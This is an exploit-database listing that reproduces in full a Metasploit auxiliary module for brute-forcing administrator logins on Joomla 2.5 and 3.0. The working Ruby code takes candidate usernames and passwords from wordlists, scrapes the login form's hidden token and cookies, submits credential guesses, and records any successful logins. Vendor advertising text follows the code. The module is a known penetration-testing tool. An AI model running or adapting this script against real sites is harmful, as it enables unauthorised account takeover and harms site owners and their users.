Lucene search
K

Joomla Bruteforce Login Utility

🗓️ 01 Sep 2024 00:00:00Reported by luisco100, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 221 Views

Joomla Bruteforce Login Utility for Joomla 2.5. or 3.

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::AuthBrute  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'Joomla Bruteforce Login Utility',  
'Description' => 'This module attempts to authenticate to Joomla 2.5. or 3.0 through bruteforce attacks',  
'Author' => 'luisco100[at]gmail.com',  
'References' =>  
[  
['CVE', '1999-0502'] # Weak password Joomla  
],  
'License' => MSF_LICENSE  
)  
  
register_options(  
[  
OptPath.new('USERPASS_FILE', [false, 'File containing users and passwords separated by space, one pair per line',  
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_userpass.txt')]),  
OptPath.new('USER_FILE', [false, 'File containing users, one per line',  
File.join(Msf::Config.data_directory, 'wordlists', "http_default_users.txt")]),  
OptPath.new('PASS_FILE', [false, 'File containing passwords, one per line',  
File.join(Msf::Config.data_directory, 'wordlists', 'http_default_pass.txt')]),  
OptString.new('AUTH_URI', [true, 'The URI to authenticate against', '/administrator/index.php']),  
OptString.new('FORM_URI', [true, 'The FORM URI to authenticate against' , '/administrator']),  
OptString.new('USER_VARIABLE', [true, 'The name of the variable for the user field', 'username']),  
OptString.new('PASS_VARIABLE', [true, 'The name of the variable for the password field' , 'passwd']),  
OptString.new('WORD_ERROR', [true, 'The word of message for detect that login fail', 'mod-login-username'])  
])  
  
register_autofilter_ports([80, 443])  
end  
  
def find_auth_uri  
if datastore['AUTH_URI'] && datastore['AUTH_URI'].length > 0  
paths = [datastore['AUTH_URI']]  
else  
paths = %w(  
/  
/administrator/  
)  
end  
  
paths.each do |path|  
begin  
res = send_request_cgi(  
'uri' => path,  
'method' => 'GET'  
)  
rescue ::Rex::ConnectionError  
next  
end  
  
next unless res  
  
if res.redirect? && res.headers['Location'] && res.headers['Location'] !~ /^http/  
path = res.headers['Location']  
vprint_status("#{rhost}:#{rport} - Following redirect: #{path}")  
begin  
res = send_request_cgi(  
'uri' => path,  
'method' => 'GET'  
)  
rescue ::Rex::ConnectionError  
next  
end  
next unless res  
end  
  
return path  
end  
  
nil  
end  
  
def target_url  
proto = 'http'  
if rport == 443 || ssl  
proto = 'https'  
end  
"#{proto}://#{rhost}:#{rport}#{@uri}"  
end  
  
def run_host(ip)  
vprint_status("#{rhost}:#{rport} - Searching Joomla authentication URI...")  
@uri = find_auth_uri  
  
unless @uri  
vprint_error("#{rhost}:#{rport} - No URI found that asks for authentication")  
return  
end  
  
@uri = "/#{@uri}" if @uri[0, 1] != '/'  
  
vprint_status("#{target_url} - Attempting to login...")  
  
each_user_pass do |user, pass|  
do_login(user, pass)  
end  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: (ssl ? 'https' : 'http'),  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user],  
private_data: opts[:password],  
private_type: :password  
}.merge(service_data)  
  
login_data = {  
last_attempted_at: DateTime.now,  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::SUCCESSFUL,  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def do_login(user, pass)  
vprint_status("#{target_url} - Trying username:'#{user}' with password:'#{pass}'")  
response = do_web_login(user, pass)  
result = determine_result(response)  
  
if result == :success  
print_good("#{target_url} - Successful login '#{user}' : '#{pass}'")  
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: response.inspect)  
return :abort if datastore['STOP_ON_SUCCESS']  
return :next_user  
else  
vprint_error("#{target_url} - Failed to login as '#{user}'")  
return  
end  
end  
  
def do_web_login(user, pass)  
user_var = datastore['USER_VARIABLE']  
pass_var = datastore['PASS_VARIABLE']  
  
referer_var = "http://#{rhost}/administrator/index.php"  
  
vprint_status("#{target_url} - Searching Joomla Login Response...")  
res = login_response  
  
unless res && res.code = 200 && !res.get_cookies.blank?  
vprint_error("#{target_url} - Failed to find Joomla Login Response")  
return nil  
end  
  
vprint_status("#{target_url} - Searching Joomla Login Form...")  
hidden_value = get_login_hidden(res)  
if hidden_value.nil?  
vprint_error("#{target_url} - Failed to find Joomla Login Form")  
return nil  
end  
  
vprint_status("#{target_url} - Searching Joomla Login Cookies...")  
cookie = get_login_cookie(res)  
if cookie.blank?  
vprint_error("#{target_url} - Failed to find Joomla Login Cookies")  
return nil  
end  
  
vprint_status("#{target_url} - Login with cookie ( #{cookie} ) and Hidden ( #{hidden_value}=1 )")  
res = send_request_login(  
'user_var' => user_var,  
'pass_var' => pass_var,  
'cookie' => cookie,  
'referer_var' => referer_var,  
'user' => user,  
'pass' => pass,  
'hidden_value' => hidden_value  
)  
  
if res  
vprint_status("#{target_url} - Login Response #{res.code}")  
if res.redirect? && res.headers['Location']  
path = res.headers['Location']  
vprint_status("#{target_url} - Following redirect to #{path}...")  
  
res = send_request_raw(  
'uri' => path,  
'method' => 'GET',  
'cookie' => "#{cookie}"  
)  
end  
end  
  
return res  
rescue ::Rex::ConnectionError  
vprint_error("#{target_url} - Failed to connect to the web server")  
return nil  
end  
  
def send_request_login(opts = {})  
res = send_request_cgi(  
'uri' => @uri,  
'method' => 'POST',  
'cookie' => "#{opts['cookie']}",  
'headers' =>  
{  
'Referer' => opts['referer_var']  
},  
'vars_post' => {  
opts['user_var'] => opts['user'],  
opts['pass_var'] => opts['pass'],  
'lang' => '',  
'option' => 'com_login',  
'task' => 'login',  
'return' => 'aW5kZXgucGhw',  
opts['hidden_value'] => 1  
}  
)  
  
res  
end  
  
def determine_result(response)  
return :abort unless response.kind_of?(Rex::Proto::Http::Response)  
return :abort unless response.code  
  
if [200, 301, 302].include?(response.code)  
if response.to_s.include?(datastore['WORD_ERROR'])  
return :fail  
else  
return :success  
end  
end  
  
:fail  
end  
  
def login_response  
uri = normalize_uri(datastore['FORM_URI'])  
res = send_request_cgi!('uri' => uri, 'method' => 'GET')  
  
res  
end  
  
def get_login_cookie(res)  
return nil unless res.kind_of?(Rex::Proto::Http::Response)  
  
res.get_cookies  
end  
  
def get_login_hidden(res)  
return nil unless res.kind_of?(Rex::Proto::Http::Response)  
  
return nil if res.body.blank?  
  
vprint_status("#{target_url} - Testing Joomla 2.5 Form...")  
form = res.body.split(/<form action=([^\>]+) method="post" id="form-login"\>(.*)<\/form>/mi)  
  
if form.length == 1 # is not Joomla 2.5  
vprint_status("#{target_url} - Testing Form Joomla 3.0 Form...")  
form = res.body.split(/<form action=([^\>]+) method="post" id="form-login" class="form-inline"\>(.*)<\/form>/mi)  
end  
  
if form.length == 1 # is not Joomla 3  
vprint_error("#{target_url} - Last chance to find a login form...")  
form = res.body.split(/<form id="login-form" action=([^\>]+)\>(.*)<\/form>/mi)  
end  
  
begin  
input_hidden = form[2].split(/<input type="hidden"([^\>]+)\/>/mi)  
input_id = input_hidden[7].split("\"")  
rescue NoMethodError  
return nil  
end  
  
valor_input_id = input_id[1]  
  
valor_input_id  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2024 00:00Current
7.2High risk
Vulners AI Score7.2
EPSS0.37089
221